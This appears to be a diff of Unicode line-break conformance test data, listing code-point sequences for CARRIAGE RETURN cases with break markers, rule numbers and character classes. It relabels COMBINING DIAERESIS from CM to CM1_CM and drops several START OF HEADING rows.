× 000D ÷ FFFC ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 000D ÷ 0020 ÷ FFFC ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 000D ÷ 0308 ÷ FFFC ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 000D ÷ 0308 × 0020 ÷ FFFC ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 000D ÷ 0308 ÷ FFFC ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 000D ÷ 0308 × 0020 ÷ FFFC ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 000D ÷ 007D ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 000D ÷ 0020 × 007D ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 000D ÷ 0308 × 007D ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 000D ÷ 0308 × 0020 × 007D ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 000D ÷ 0308 × 007D ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 000D ÷ 0308 × 0020 × 007D ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 000D ÷ 0029 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 000D ÷ 0020 × 0029 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 000D ÷ 0308 × 0029 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 000D ÷ 0308 × 0020 × 0029 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 000D ÷ 0001 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] <START OF HEADING> (CM) ÷ [0.3]
-× 000D ÷ 0020 ÷ 0001 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
-× 000D ÷ 0308 × 0001 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× 000D ÷ 0308 × 0020 ÷ 0001 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
+× 000D ÷ 0308 × 0029 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
+× 000D ÷ 0308 × 0020 × 0029 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 000D ÷ 000D ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 000D ÷ 0020 × 000D ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 000D ÷ 0308 × 000D ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 000D ÷ 0308 × 0020 × 000D ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 000D ÷ 0308 × 000D ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 000D ÷ 0308 × 0020 × 000D ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 000D ÷ 0021 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] EXCLAMATION MARK (EX) ÷ [0.3]
× 000D ÷ 0020 × 0021 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 000D ÷ 0308 × 0021 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 000D ÷ 0308 × 0020 × 0021 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 000D ÷ 0308 × 0021 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 000D ÷ 0308 × 0020 × 0021 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× 000D ÷ 00A0 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] NO-BREAK SPACE (GL) ÷ [0.3]
× 000D ÷ 0020 ÷ 00A0 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
-× 000D ÷ 0308 × 00A0 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
-× 000D ÷ 0308 × 0020 ÷ 00A0 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
+× 000D ÷ 0308 × 00A0 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
+× 000D ÷ 0308 × 0020 ÷ 00A0 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
× 000D ÷ AC00 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× 000D ÷ 0020 ÷ AC00 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 000D ÷ 0308 ÷ AC00 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 000D ÷ 0308 × 0020 ÷ AC00 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 000D ÷ 0308 ÷ AC00 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 000D ÷ 0308 × 0020 ÷ AC00 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× 000D ÷ AC01 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 000D ÷ 0020 ÷ AC01 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 000D ÷ 0308 ÷ AC01 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 000D ÷ 0308 × 0020 ÷ AC01 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 000D ÷ 0308 ÷ AC01 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 000D ÷ 0308 × 0020 ÷ AC01 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 000D ÷ 05D0 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 000D ÷ 0020 ÷ 05D0 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 000D ÷ 0308 × 05D0 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) × [28.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 000D ÷ 0308 × 0020 ÷ 05D0 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 000D ÷ 0308 × 05D0 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [28.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 000D ÷ 0308 × 0020 ÷ 05D0 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 000D ÷ 002D ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] HYPHEN-MINUS (HY) ÷ [0.3]
× 000D ÷ 0020 ÷ 002D ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
-× 000D ÷ 0308 × 002D ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
-× 000D ÷ 0308 × 0020 ÷ 002D ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
+× 000D ÷ 0308 × 002D ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
+× 000D ÷ 0308 × 0020 ÷ 002D ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
× 000D ÷ 231A ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] WATCH (ID) ÷ [0.3]
× 000D ÷ 0020 ÷ 231A ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
-× 000D ÷ 0308 ÷ 231A ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
-× 000D ÷ 0308 × 0020 ÷ 231A ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
+× 000D ÷ 0308 ÷ 231A ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
+× 000D ÷ 0308 × 0020 ÷ 231A ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
× 000D ÷ 2024 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] ONE DOT LEADER (IN) ÷ [0.3]
× 000D ÷ 0020 ÷ 2024 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
-× 000D ÷ 0308 × 2024 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) × [22.01] ONE DOT LEADER (IN) ÷ [0.3]
-× 000D ÷ 0308 × 0020 ÷ 2024 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
+× 000D ÷ 0308 × 2024 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [22.01] ONE DOT LEADER (IN) ÷ [0.3]
+× 000D ÷ 0308 × 0020 ÷ 2024 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
× 000D ÷ 002C ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMMA (IS) ÷ [0.3]
× 000D ÷ 0020 × 002C ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
-× 000D ÷ 0308 × 002C ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) × [13.03] COMMA (IS) ÷ [0.3]
-× 000D ÷ 0308 × 0020 × 002C ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
+× 000D ÷ 0308 × 002C ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [13.03] COMMA (IS) ÷ [0.3]
+× 000D ÷ 0308 × 0020 × 002C ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
× 000D ÷ 1100 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 000D ÷ 0020 ÷ 1100 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 000D ÷ 0308 ÷ 1100 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 000D ÷ 0308 × 0020 ÷ 1100 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 000D ÷ 0308 ÷ 1100 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 000D ÷ 0308 × 0020 ÷ 1100 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 000D ÷ 11A8 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 000D ÷ 0020 ÷ 11A8 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 000D ÷ 0308 ÷ 11A8 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 000D ÷ 0308 × 0020 ÷ 11A8 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 000D ÷ 0308 ÷ 11A8 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 000D ÷ 0308 × 0020 ÷ 11A8 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 000D ÷ 1160 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 000D ÷ 0020 ÷ 1160 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 000D ÷ 0308 ÷ 1160 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 000D ÷ 0308 × 0020 ÷ 1160 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 000D ÷ 0308 ÷ 1160 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 000D ÷ 0308 × 0020 ÷ 1160 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 000D × 000A ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) × [5.01] <LINE FEED (LF)> (LF) ÷ [0.3]
× 000D ÷ 0020 × 000A ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 000D ÷ 0308 × 000A ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 000D ÷ 0308 × 0020 × 000A ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 000D ÷ 0308 × 000A ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 000D ÷ 0308 × 0020 × 000A ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× 000D ÷ 0085 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 000D ÷ 0020 × 0085 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 000D ÷ 0308 × 0085 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 000D ÷ 0308 × 0020 × 0085 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 000D ÷ 0308 × 0085 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 000D ÷ 0308 × 0020 × 0085 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 000D ÷ 17D6 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 000D ÷ 0020 ÷ 17D6 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 000D ÷ 0308 × 17D6 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 000D ÷ 0308 × 0020 ÷ 17D6 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 000D ÷ 0308 × 17D6 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 000D ÷ 0308 × 0020 ÷ 17D6 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 000D ÷ 0030 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] DIGIT ZERO (NU) ÷ [0.3]
× 000D ÷ 0020 ÷ 0030 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
-× 000D ÷ 0308 × 0030 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) × [23.02] DIGIT ZERO (NU) ÷ [0.3]
-× 000D ÷ 0308 × 0020 ÷ 0030 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
+× 000D ÷ 0308 × 0030 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [23.02] DIGIT ZERO (NU) ÷ [0.3]
+× 000D ÷ 0308 × 0020 ÷ 0030 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
× 000D ÷ 0028 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] LEFT PARENTHESIS (OP) ÷ [0.3]
× 000D ÷ 0020 ÷ 0028 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 000D ÷ 0308 × 0028 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) × [30.01] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 000D ÷ 0308 × 0020 ÷ 0028 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 000D ÷ 0308 × 0028 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [30.01] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 000D ÷ 0308 × 0020 ÷ 0028 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
× 000D ÷ 0025 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] PERCENT SIGN (PO) ÷ [0.3]
× 000D ÷ 0020 ÷ 0025 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
-× 000D ÷ 0308 ÷ 0025 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) ÷ [999.0] PERCENT SIGN (PO) ÷ [0.3]
-× 000D ÷ 0308 × 0020 ÷ 0025 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
